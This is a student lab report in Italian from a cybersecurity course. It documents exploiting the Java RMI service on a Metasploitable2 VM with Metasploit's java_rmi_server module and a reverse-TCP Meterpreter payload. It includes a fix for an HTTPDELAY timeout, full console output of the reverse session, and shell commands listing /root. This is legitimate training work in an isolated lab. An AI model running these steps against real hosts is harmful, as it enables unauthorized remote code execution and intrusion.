10-documento finale S7L5

📄 Documento Completo

00-HUB
Relazione Tecnica – Exploitation Java RMI (Porta 1099)

📌 Informazioni Generali

> *Laboratorio Cybersecurity – EPICODE*
> *Studente: Joele* Bernardi
> *Data: 17/04/2026*

📚 Indice dei Contenuti

1. 01-Introduzione.
2. 02-Ambiente-e-Topologia
3. 03-Scansione-e-Troubleshooting
4. 04-Exploitation-Java-RMI
5. 05-Gestione-Errore-HTTPDELAY
6. 06-Post-Exploitation-e-Raccolta-Evidenze
7. 07-Considerazioni-Finali
8. 08-Allegati

01-Introduzione.
01 – Introduzione

In questo laboratorio ho analizzato e sfruttato una vulnerabilità presente nel servizio **Java RMI** esposto dalla macchina Metasploitable sulla porta **1099**.
L'obiettivo principale era ottenere una **sessione Meterpreter** tramite Metasploit e raccogliere alcune evidenze di rete dalla macchina compromessa.

L'esercizio permette di:

- comprendere il funzionamento di un servizio vulnerabile
- utilizzare Metasploit in modo corretto

- gestire errori comuni (come il timeout HTTPDELAY)
- raccogliere informazioni post-exploitation

> 💡 *Questo tipo di vulnerabilità è molto utile per imparare la logica degli exploit remoti e la gestione delle sessioni Meterpreter.*

02-Ambiente-e-Topologia

02 – Ambiente e Topologia

🌐 Topologia di rete

L'ambiente di laboratorio è composto da due macchine virtuali:

- **Kali Linux (attaccante)**
  IP: `192.168.11.111`
- **Metasploitable2 (vittima)**
  IP: `192.168.11.112`

🔍 Verifica degli indirizzi IP

Kali

```
ip a
```

Metasploitable2

```
ifconfig
```

📌 *Entrambe le macchine devono trovarsi nella stessa rete NAT/Host-Only per comunicare correttamente.*

🔄 Test di connettività

```
ping -c 4 192.168.11.112
```

Se il ping risponde, la comunicazione è attiva.

03-Scansione-e-Troubleshooting

📄 03 — Scansione e Troubleshooting

```
# 03 - Scansione e Troubleshooting

## 🔎 Scansione delle porte con Nmap
Prima di procedere con l'exploit, ho verificato che la porta 1099 fosse
effettivamente aperta.
```

```
sudo nmap -sV -p 1099 192.168.11.112
```

Output atteso:

```
1099/tcp open  java-rmi
```

⚠️ Possibili problemi iniziali

⚠️ Problema: Nessuna risposta dal target

- Controllare che le VM siano nella stessa rete
- Verificare firewall disattivati
- Controllare che Metasploitable sia avviata correttamente

🔥 Suggerimento Se Nmap non rileva la porta, riavvia Metasploitable: `sudo reboot`

04-Exploitation-Java-RMI

📄 04 — Exploitation Java RMI

```
# 04 - Exploitation Java RMI
```

🚀 Avvio di Metasploit

```
msfconsole
```

🔍 Ricerca dell'exploit

```
search java_rmi
```

Selezione del modulo:

```
use exploit/multi/misc/java_rmi_server
```

⚙️ Configurazione dei parametri

```
set RHOSTS 192.168.11.112
set LHOST 192.168.11.111
set LPORT 4444
set PAYLOAD java/meterpreter/reverse_tcp
```

▶️ Avvio dell'exploit

```
exploit
```

Se tutto funziona:

```
Meterpreter session X opened
```

> 🔗 **A questo punto ho ottenuto accesso remoto alla macchina vittima.**

05-Gestione-Errore-HTTPDELAY

📄 05 — Gestione Errore HTTPDELAY

Durante l'esecuzione dell'exploit può comparire questo errore:

> ⚡ **RuntimeError Timeout HTTPDELAY expired**
>
> Il server HTTP non ha ricevuto la richiesta del payload in tempo.

Questo accade quando la macchina vittima impiega più tempo del previsto a scaricare il payload.

🛠️ Soluzione

Impostare un valore più alto per HTTPDELAY:

```
set HTTPDELAY 20
```

Dopo aver modificato il parametro, rilanciare l'exploit:

```
exploit
```

> ✅ **Con HTTPDELAY impostato a 20, l'exploit ha funzionato correttamente.**

06-Post-Exploitation-e-Raccolta-Evidenze

📄 06 — Post-Exploitation e Raccolta Evidenze

Una volta ottenuta la sessione Meterpreter, ho raccolto le evidenze richieste.

📌 1) Configurazione di rete

```
ifconfig
```

📌 2) Tabella di routing

```
route
```

🔥 **Per salvare le evidenze in file:**

ifconfig > rete.txt
route > routing.txt

🔚 Chiusura della sessione

```
exit
```

07-Considerazioni-Finali

📄 07 — Considerazioni Finali

```
L'esercizio ha permesso di comprendere in modo pratico come funziona un
exploit remoto tramite Metasploit e come gestire problemi reali come il
timeout HTTPDELAY.
```

Punti chiave appresi:

- importanza della configurazione corretta degli IP
- utilizzo dei moduli Metasploit
- gestione degli errori
- raccolta delle evidenze post-exploitation

🔍 Approfondimento personale

Durante lo svolgimento dell'esercizio ho notato quanto sia importante non limitarsi a "far funzionare l'exploit", ma capire *perché* funziona.
Il modulo Java RMI sfrutta il fatto che il servizio accetti oggetti Java non sicuri, permettendo l'esecuzione di codice remoto.
Questo mi ha aiutato a collegare la pratica alla teoria vista a lezione.

🧠 Cosa ho imparato davvero

- Come ragionare quando un exploit non funziona al primo colpo
- Come interpretare gli errori di Metasploit (es. HTTPDELAY)
- Come raccogliere evidenze in modo ordinato e utile
- Come documentare un laboratorio in modo professionale

🎯 Conclusione finale

L'esercizio mi ha permesso di consolidare sia la parte tecnica che quella metodologica. Mi sento più sicuro nell'utilizzo di Metasploit, nella gestione degli errori e nella documentazione del lavoro svolto.
È stato un laboratorio utile, concreto e formativo.

08-Allegati

```
┌──(kali㉿kali)-[~]
└─$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:63:b0:05 brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.100/24 brd 192.168.50.255 scope global noprefixroute eth0
       valid_lft forever preferred_lft forever
    inet 192.168.11.111/24 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::3bcd:9cbb:d1bc:6eb9/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
```

```
┌──(kali㉿kali)-[~]
└─$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=3.67 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.330 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=1.95 ms
^C
--- 192.168.11.112 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2020ms
rtt min/avg/max/mdev = 0.330/1.982/3.668/1.362 ms
```

```
┌──(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: View a module's description using info, or the enhanced
version in your browser with info -d

 _______________________________________
/ it looks like you're trying to run a \
\ module                               /
 ---------------------------------------
  \
   \
       __
      /  \
      |  |
      @  @
      |  |
      || |/
      || ||
      |\_/|
      \___/

       =[ metasploit v6.4.112-dev                                 ]
+ -- --=[ 2,607 exploits - 1,325 auxiliary - 1,710 payloads        ]
+ -- --=[ 430 post - 49 encoders - 14 nops - 9 evasion             ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
```

```
msf > search java_rmi

Matching Modules
================

   #  Name                                          Disclosure Date  Rank       Check  Description
   -  ----                                          ---------------  ----       -----  -----------
   0  auxiliary/gather/java_rmi_registry            .                normal     No     Java RMI Registry Interfaces Enumeration
   1  exploit/multi/misc/java_rmi_server            2011-10-15       excellent  Yes    Java RMI Server Insecure Default Configuration Java Code Execution
   2    \_ target: Generic (Java Payload)           .                .          .      .
   3    \_ target: Windows x86 (Native Payload)     .                .          .      .
   4    \_ target: Linux x86 (Native Payload)       .                .          .      .
   5    \_ target: Mac OS X PPC (Native Payload)    .                .          .      .
   6    \_ target: Mac OS X x86 (Native Payload)    .                .          .      .
   7  auxiliary/scanner/misc/java_rmi_server        2011-10-15       normal     No     Java RMI Server Insecure Endpoint Code Execution Scanner
   8  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent  No     Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl
```

```
msf > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.111
LHOST => 192.168.11.111
msf exploit(multi/misc/java_rmi_server) > set HTTPDELAY 20
HTTPDELAY => 20
msf exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  20               yes       Time that the HTTP Server will wait for the payload request
   RHOSTS     192.168.11.112   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.11.111   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)


View the full module info with the info, or info -d command.
```

```
msf exploit(multi/misc/java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/RiD64f6QBfqQM
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:50727) at 2026-04-16 19:17:37 -0400
```

```
meterpreter > ipconfig

Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe7a:d2f6
IPv6 Netmask : ::

meterpreter > route

IPv4 network routes
===================

    Subnet          Netmask        Gateway  Metric  Interface
    ------          -------        -------  ------  ---------
    127.0.0.1       255.0.0.0      0.0.0.0
    192.168.11.112  255.255.255.0  0.0.0.0


IPv6 network routes
===================

    Subnet                    Netmask  Gateway  Metric  Interface
    ------                    -------  -------  ------  ---------
    ::1                       ::       ::
    fe80::a00:27ff:fe7a:d2f6  ::       ::
```

```
meterpreter > shell
Process 1 created.
Channel 1 created.
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

```
cd /root
ls
Desktop
reset_logs.sh
test_metasploit
vnc.log
```

09-Comandi utilizzati

🟦 09 – Appendice – Comandi Utilizzati

```
ping -c 4 192.168.11.112
msfconsole
search java_rmi
use exploit/multi/misc/java_rmi_server
set RHOSTS 192.168.11.112
set LHOST 192.168.11.111
set RPORT 1099
set PAYLOAD java/meterpreter/reverse_tcp
set HTTPDELAY 20
exploit
shell
ifconfig
route
```